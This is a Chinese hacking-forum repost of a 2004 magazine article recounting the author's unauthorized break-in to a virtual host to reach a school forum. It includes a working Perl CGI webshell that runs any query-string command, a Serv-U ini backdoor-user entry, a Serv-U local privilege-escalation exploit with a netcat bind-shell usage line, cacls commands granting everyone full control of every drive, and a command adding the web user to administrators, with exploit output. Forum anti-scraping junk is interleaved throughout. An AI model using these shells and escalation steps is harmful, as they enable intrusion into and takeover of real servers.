找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1937|回复: 0
打印 上一主题 下一主题

剑走偏锋——灵巧的旁注攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:11:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
剑走偏锋——灵巧的旁注攻击 0 d0 r! y6 \$ R) n6 e
本文作者:angel
2 U0 M- R: O: w* x0 j. D文章性质:原创
3 b( j, z4 ]* {# w# K8 O- w: t. O' `  j3 M发布日期:2004-11-09 - j( l/ P$ V5 F: J
注意:5 M2 }9 D- k2 p! v# c+ d
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
: M7 t( Q$ W8 [: W# v" t  q本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。: i+ Z; h- Z4 j8 w; e4 C) E

" }2 N8 M  V, ^* T0 {5 b  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 * j9 |/ x1 Z1 \! \
0 E/ ~$ @6 g# \, G$ N. q: X
  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 . x! }5 G9 c6 r2 H9 K
, s( q$ C7 M8 J
  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
. L) F6 m: }! l, V" j) N$ P6 m( f# Y; A* P# Z  r" Q  h: \8 h+ v
  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
; s9 h* S# a& Y! H4 ?8 S  Z
* N/ C# B% F% B# ~# g  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
: z0 s# }3 l; U% ?/ ?* R: _* k
/ \: b) c! S. [  没有目的的跳转目录着……
2 ^# X& f3 C0 D) ~( T2 K3 c6 O7 G4 j( ~  B
  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… . Z4 ^& E) n# C# `+ s
3 |0 z$ w* U1 ]0 \5 K; x3 `
  结束了吗?不,我试着 FTP 一下:
# y6 b& I0 t+ J2 m3 X: R$ E" W+ K# `5 l# {. [4 v+ O3 i/ D7 e
Microsoft Windows 2000 [Version 5.00.2195]
+ B1 A" }9 p: e$ i1 M3 s(C) 版权所有 1985-2000 Microsoft Corp.
! d5 J% Z* X* {3 c6 _' `/ v/ l
$ r! b2 Y. Y3 UC:\Documents and Settings\Administrator>ftp www.school.com
8 e8 f2 i) A: {6 H, K3 dConnected to www. school.com. . R3 _; C; z! c1 m
220 Welcome to FTP Server...
1 ^7 ~) T8 O, B4 u# ~User (www.bjtrq.com:(none)):
( a+ i- q0 Q* P: N331 User name okay, need password. 2 s7 Z* `9 Q( u) k- y( k) X
Password: & {% H* s' E$ C9 p* p! ]1 m
530 Not logged in.   d0 w0 \1 J/ G& g- R9 e
Login failed. ) T7 c% H; W& T. o/ @! r2 H* o
ftp> bye 4 C8 B% s' M( g
221 Goodbye!
$ u: L# }8 c5 m0 W- J( G
6 F2 \9 G9 F7 O7 n1 p6 O0 ?
4 n( o% Z) o6 I+ g4 ~  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
& v; m6 J' f% b2 l8 T, f
, h  ^& G4 _+ k% G  I) T5 J+ z  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 7 O! y* z7 A2 y$ f. A

- h# J8 |. G# a# ~& vApplication Data; Y1 u& q4 q$ k8 G
Documents
% N" L. }( L* G) K: yDRM2 A/ Z5 _$ X% k. t6 u$ M
Favorites3 S0 W; E/ S4 e  r$ b/ s. r* N
Templates
5 H. ]' Q! o$ H6 ]$ r2 I& ^「开始」菜单6 s% e+ J  d2 W4 D" C5 p, q
桌面: A: C# I! t" j0 J" D# K+ l2 Z
( g- k* H$ j% T" W+ M

8 j  \4 s( [5 _$ U4 l; j  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
' J& w3 M7 [/ @# P: t4 K
( R! u. u1 R3 \0 T, v) lActiveState ActivePerl 5.8
: u% \2 W3 ?% g: I( [Administrative Tools
6 E; Z' Z5 `2 s. H5 c  @% s7 ADeerfield.com
; t5 ~/ m4 t, tDTemp
+ y' C7 T" B5 @3 e/ pIPSentry
$ L$ D( P2 z, cMBM 53 w7 O! u" D/ H
NetMeter' d' u, W- v! r) Y! P  J
Network ICE! W5 C# \! B! Q# `% I; t6 R
Persits Software AspEmail! G6 j! ?: T  D1 U6 S  ]
Persits Software AspJpeg" M$ T7 o" A5 k. Z* R) K1 x
Serv-U FTP Server8 v' ?* U2 U" A5 |$ B% M
Symantec Client Security
8 p- s9 u' q% Y7 h2 T7 bWindows 优化大师
/ g) P! d& ?+ I+ `# F# Z% rWinRAR  P( m7 p+ W' L' Q
启动
7 ?% M; b1 E) I1 I5 V' P/ ?4 K管理工具7 R9 n$ \3 \2 t2 o, }' y
附件( y2 q  c7 r6 ^9 N! z
" q, [$ L  U$ O: o# V# N6 D
# {# ^. ]) z' I
  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 $ Z& e9 r# ?0 p( s  a7 u" z
3 Z9 K# I6 ~4 U  m0 |
  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行: ( X* [1 t: v$ U: {
* C. b: @3 Y& E$ J7 P
User281=angel|1|0   A0 u% Y, u3 g- S  q- g. E) a

7 U5 `3 p, o4 g" S! l/ u# F% C) ?7 b  P9 [" d9 ^+ J* V4 m( F
  然后加上
6 R$ N. V6 {+ K6 m. T
( X5 X; h& a* Z8 X, j7 U# x8 \  N[USER=angel|1]: v8 c, P) E5 y* @( A2 _
Password=ng98F85379EA68DBF97BAADCA99B69B805- Y1 Z( z5 W8 \) D+ [
HomeDir=D:\websites9 E+ ?  X$ s( {/ g# w
RelPaths=18 l* d2 I: a- y) e- ^* y/ C( Z
TimeOut=600
; q) g, ]. H/ d: QMaintenance=System
# v  {8 {/ Z- Z. ^" |Access1=D:\websites|RWAMELCDP9 L; c, E- X8 v
SKEYValues=4 X' `6 J/ U/ R4 U  w
- j/ ~  `5 z5 b  H& y

0 @8 e# h. {- s  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… ) I4 o' ~$ h' }( X

' Q0 B  \% y' z' H  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 ! p8 ]# K( D- V; C
$ j; r6 D5 @$ C5 \; e
  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 . \" Q+ g6 m6 T  [5 M& }
* l1 S& g4 y, q5 o% c# _3 X/ K
  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: 1 u! ?. i% d0 c* U9 u

+ }6 O. Y3 r1 K#!/usr/bin/perl
: G& M( [: T. }; _binmode(STDOUT);# F5 n' U2 g6 I) I* X
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);" o0 n. B  X% u
$_ = $ENV{QUERY_STRING};
) V4 ^" S  }  C/ S! O8 }s/%20/ /ig;
& A6 R9 Y7 j4 a0 h' _s/%2f/\//ig;
; `2 K5 a* y% s9 N# g. ]$execthis = $_;4 C5 W1 O4 A0 N9 j3 d5 A
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);& J9 c; A$ l4 s0 H+ T
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";+ z% u# t0 _- z' h9 P9 v
system($execthis);3 J( U. M, _% T
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);& d2 v" {5 _! e8 _. ]; H# x7 g
close(STDERR);
3 b7 @- o) P# ^& W2 |close(STDOUT);
" y2 [& w& z  d/ n, x7 _; C% e  ]9 iexit;+ u. r- B; v: O1 i( _6 ]3 M  ]
  i/ q+ Y8 m0 g5 O' ^

2 m2 _+ y6 V  t8 s2 g* J3 X  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! 7 l2 O  d9 h/ E* \" j5 k

* ]/ p" n' V0 F  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: 6 F$ e& Z8 F  X

) @8 I) O6 z/ `- f% O, l; |http://anyhost//cmd.pl?d:\user\bin\su.exe
: G$ Q' A' y8 ^
! f9 g6 ?) T' j; ?- s& S
, k$ @4 S( q3 A0 S$ J, U  返回: 2 o/ X4 R; z  U  L! S7 R  y- m
2 M9 ?0 X- ], h. U: C9 q  n+ O
Serv-u >3.x Local Exploit by xiaolu
+ T. a% X% d( I2 p$ `8 z
8 @5 V' l- a/ d/ u) w) ^" g7 SUSAGE: serv-u.exe "command" - w+ y3 q9 r" K" |4 e

. M6 S6 G2 k" p. d/ m$ cExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" ) e/ M/ j: ~1 ^

7 U, Y+ f4 k  ~9 T+ |0 p! T) p' A
: H( q. i3 f7 m0 f  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
0 u9 T. X# y' y% ^7 c/ A
8 s1 K% E! m% J$ ?3 n# m5 xhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
# `) y! ]1 M4 z4 X* f0 h. O
) \2 @) O* D/ H/ K. g# k/ Qhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
2 D, P% S# l/ A! t* q; i0 M
% C: k. u  `0 U+ i) Q) \http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" & G- B. ~' v$ f; }1 ?! W% u
# _6 w& Q% }+ A: r! C6 L# y
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
( O* S0 D1 e& f, t
) l+ P: t' |/ V: [% {
. E. }( e2 O: E& |( f# q- f  |  返回下面的信息,就表示成功了!!!
' v3 t& m5 ~6 E& u# }, D
! E- k1 u: ^4 x6 Z9 BServ-u >3.x Local Exploit by xiaolu ) Q. }- f( j+ w9 U# O

$ M) f- e, @2 V8 X<220 Serv-U FTP Server v5.2 for WinSock ready...
: W7 O+ M1 G( G# ?6 r4 f; \6 l
7 ^- |4 i4 _7 ^: m% q2 p>USER LocalAdministrator
6 Q1 }; j: u5 e3 O6 ^; B' D, L, |! i
<331 User name okay, need password. , z1 E- p4 ~3 A. B# A5 j. D
6 x) t& e! }5 R5 p2 a: S
****************************************************** ) u( M5 f1 \4 L
: u2 Q# x8 A5 g" m# E8 h* a+ D/ }3 P
>PASS #l@$ak#.lk;0@P 9 p! t, C. C/ s" x
: W$ _+ x  }5 [7 v3 z  K  [0 z
<230 User logged in, proceed.
- x! h. ^2 u( `& n. q% A6 F7 l# {$ h. q9 N
******************************************************
2 _7 i4 S' U, |& X# }# I& r1 s% |, i/ `% s
>SITE MAINTENANCE
2 z7 P$ h( J, Y0 i  i7 d+ M6 @* ~8 P: q3 z/ _# }8 J/ e" U
****************************************************** + k' S3 [) \. l6 Q, L- z
0 e9 b6 n" v" I3 K% L1 X
[+] Creating New Domain...
/ l+ r0 V1 [: I& L' B+ I" O7 ~
# u8 l! Y$ y( Y% O/ A; e" T8 {<200-DomainID=2 : p2 r" F2 }9 h$ u/ w

5 L8 w% x3 l5 C<220 Domain settings saved
' Z& M# s/ n+ I5 H6 a) y$ Z1 Z6 ]+ A( g
******************************************************
* d# B+ r0 X6 q9 z
0 e* K9 M* T$ ]3 l[+] Domain xl:2 Created
7 E1 k; z6 o6 _% E# b/ W8 i& L! H3 Y& n4 ]( \, f
[+] Creating Evil User
- h( N6 n4 C- [* j5 _, U( ~) k  \+ @1 M( ~6 e) q
<200-User=xl
# D- b: u& L, W$ }1 o0 `
5 q3 I/ u8 Z# D; J& s200 User settings saved
# y4 f9 r: V, O0 Z
- U' u; t  h% l) ?3 j" R******************************************************
* ~- O- s* ^3 X* e; G/ H& d
1 B1 Q; J  o- E/ n[+] Now Exploiting...
) g0 [9 |. a/ J0 @  \7 ]
! Z* P* i  X1 H  W0 y1 d>USER xl
7 p0 c) A5 Y! ?# R3 B# b. K
: Z- X0 P. `) B9 J* I8 x. v<331 User name okay, need password.
" V6 h1 k0 q- P8 W
' @) J6 m- ]- m* ^' _- G" m0 h****************************************************** 0 O) y: o3 k* V1 v! U

' @, k3 Q0 ^$ l8 J& f>PASS 111111
2 E  Z8 u2 D2 N% g, v$ ~9 v0 U- M
% Y. Y# {! G0 x+ P4 P<230 User logged in, proceed.
9 A7 K! W; l+ [. [6 y
" l1 n# e# S3 K& b. a% Z) C****************************************************** $ f/ \! o* ?/ h0 r, U1 ?7 w  ~
; L; G; S$ M8 A8 o
[+] Now Executing: cacls.exe c: /E /T /G everyone:F 8 ?, x: Y2 D  D. y" S+ _9 M
# v" G& ~5 S8 s& t0 t
<220 Domain deleted 5 o( v1 ]$ A# H+ k7 G4 H
+ @  b7 ^9 c# c( B+ j
****************************************************** 6 ~* Y- Y* E# W8 a
- ]& M9 I. ]8 G1 O& g- S
, s& [6 v* v& k1 \, r
  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员: ; N3 @0 k- G9 z

& M# m9 J9 N7 y  O# Qhttp://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" - c$ G7 f, r: E' j, \6 z

% P# i' ~- Z- @5 j1 V9 D, A: @, N
  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
3 H1 E* Q! R. U; t! J5 N% P* i; @9 ~9 K7 C9 U
  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。: g3 j" q3 V6 s# r) e

/ [- I, P2 M) X; C  
$ Q, b8 ~' T! F& l4 ]2 z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表